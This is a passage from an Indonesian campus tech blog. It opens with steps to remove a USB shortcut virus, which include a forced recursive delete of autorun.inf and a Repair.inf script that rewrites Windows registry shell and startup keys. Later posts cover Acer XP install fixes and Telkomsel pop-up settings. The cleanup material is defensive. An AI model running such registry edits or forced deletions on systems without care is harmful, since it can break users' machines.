  • Untuk file autorun.inf, ketik C:\del autorun.inf /s /ah /f  = perintah akan mendelete file autorun.inf  (syntax /ah /f digunakan karena file tersebut memakai attrib RSHA, begitu juga untuk file Thumb.db lakukan juga hal yang sama.. Untuk mendelete file-file selain 4 file terdahulu, kita harus mencarinya dengan cara Search file dengan ekstensi .lnk ukurannya 1 KB, Pada “More advanced options”, pastikan option “Search system folders” dan “Search hidden files and folders” keduanya telah dicentang.

Harap berhati-hati, tidak semua file shortcut / file LNK yang berukuran 1 KB adalah virus, kita dapat membedakannya dari iconnya, size dan Type. Untuk shortcut yang diciptakan virus iconnya selalu menggunakan icon “folder”, ukuran 1 KB dengan Type “Shortcut”. Sedangkan folder yang benar harusnya tidak memiliki “size” dan Typenya adalah “File Folder”. Contoh di bawah, gambar bagian kiri folder dengan nama “Music”, “Video”, “Programs”, “Documents” dan “Compressed” sebenarnya adalah shortcut yang memalsukan diri sebagai icon folder yang diciptakan oleh virus dan harus dihapus karena memiliki size 1 KB dan Type “Shortcut”. Sedangkan Folder dengan nama “Compressed”, “Documents”, “Music”, “Programs”, “Video” dan “Virus” yang tidak memiliki Size dan Type “File Folder” adalah folder asli yang namanya dicatut oleh virus. Sedangkan gambar kanan, shortcut yang asli dari program memiliki icon khusus sesuai icon programnya.

  • Fix registry yang sudah di ubah oleh virus. Untuk mempercepat proses perbaikan registry salin script dibawah ini pada program “notepad” kemudian simpan dengan nama “Repair.inf”. Jalankan file tersebut dengan cara:

- Klik kanan repair.inf

- Klik Install

[Version]

Signature=”$PCleaner$”

Provider=STMIK PPKIA TARAKANITA RAHMAWATI

[DefaultInstall]

AddReg=UnhookRegKey

DelReg=del

[UnhookRegKey]

HKLM, Software\CLASSES\batfile\shell\open\command,,,”””%1″” %*”

HKLM, Software\CLASSES\comfile\shell\open\command,,,”””%1″” %*”

HKLM, Software\CLASSES\exefile\shell\open\command,,,”””%1″” %*”

HKLM, Software\CLASSES\piffile\shell\open\command,,,”””%1″” %*”

HKLM, Software\CLASSES\regfile\shell\open\command,,,”regedit.exe “%1″”

HKLM, Software\CLASSES\scrfile\shell\open\command,,,”””%1″” %*”

HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon, Shell,0, “Explorer.exe”

HKLM, SYSTEM\ControlSet001\Control\SafeBoot, AlternateShell,0, “cmd.exe”

HKLM, SYSTEM\ControlSet002\Control\SafeBoot, AlternateShell,0, “cmd.exe”

[del]

HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run, Winupdate

HKCU,SOFTWARE\Microsoft\Windows\CurrentVersion\Run, explorer

Salam

stmik ppkia tarakan

Install Windows XP Bluescreen di Laptop Acer Studi Kasus STMIK PPKIA TARAKANITA RAHMAWATI

•Desember 25, 2010 • Tinggalkan sebuah Komentar

———————————————————

Author : AIDIL,S.Kom

———————————————————

Jika Anda membeli laptop Acer dan ketika Anda dalam proses menginstal Win XP, Anda bertemu masalah seperti HDD tidak terdeteksi, atau bluescreen saat instalasi. Hal ini terjadi tidak hanya dengan Laptop Acer, tetapi juga laptop lain dengan BIOS versi lama yang perlu diupdate

Masalah bluescreen di laptop Acer pada saat instalasi atau booting disebabkan kebanyakan laptop sekarang ini menggunakan hardisk berjenis S-ATA sedangkan Windows XP belum menyertakan driver untuk hardisk S-ATA pada CD instalasinya.

Ada 2 solusi untuk mengatasi masalah bluescreen di laptop Acer pada saat instalasi yaitu:

  1. Memodifikasi CD instaler Windows XP dengan memasukkan driver S-ATA menggunakan software nlite
  2. Mengubah settingan BIOS

Pada artikel ini akan dijelaskan langkah mengatasi masalah bluescreen di laptop Acer pada saat instalasi dengan mengubah settingan BIOS.

Langkahnya adalah sebagai berikut:

1. Masuklah ke BIOS Anda dengan menekan F2 pada awal laptop dinyalakan dan temukan menu SATA Mode = AHCI

laptop acer bluescreen

2. Ubah AHCI ke IDE (Jika Anda tidak dapat mengubah ke mode ini, maka Anda perlu mengupdate versi BIOS)
3. Simpan settingan dan restart
4. Coba instal ulang lagi XP Anda

Semoga membantu : jarkomdatppkia & aidilvb

Cara menghilangkan / Me-nonaktifkan Pop Screen Telkomsel

•Oktober 2, 2010 • Tinggalkan sebuah Komentar

———————————————————

Author : AIDIL,S.Kom

———————————————————

Bagi anda pengguna kartu As dan Simpati yang merasa terganggu dengan munculnya pesan PopScreen, karena frekuensi munculnya Pop Screen itu trus kalau kepencet ok/baca ludes deh pulsa 1000.
berikut tips untuk menghilangkannya :
Masuk ke menu Telkomsel-PopScreen-Aktifasi-Non aktifkan
akan muncul tulisan “sending message/mengirim pesan” tunggu saja sampai muncul “Layanan di Non aktifkan “

Berikut gambar yang berhasil di Capture:

Kemudian Pilih Non-aktifkan, semoga membantu..

Menguji USB Disk dari Kerusakan

•Juli 21, 2010 • 2 Komentar

———————————————————

Author : AIDIL,S.Kom

———————————————————

Untuk menguji kerusakan USB Disk yang kita miliki, dapat menggunakan sebuah aplikasi freeware yang bernama USB Stick Tester. Dengan tool ini kita dapat mendeteksi berapa persen kerusakan yang diderita USB Disk.

DOWNLOAD : USB STICK TESTER

 
Ikuti

Get every new post delivered to your Inbox.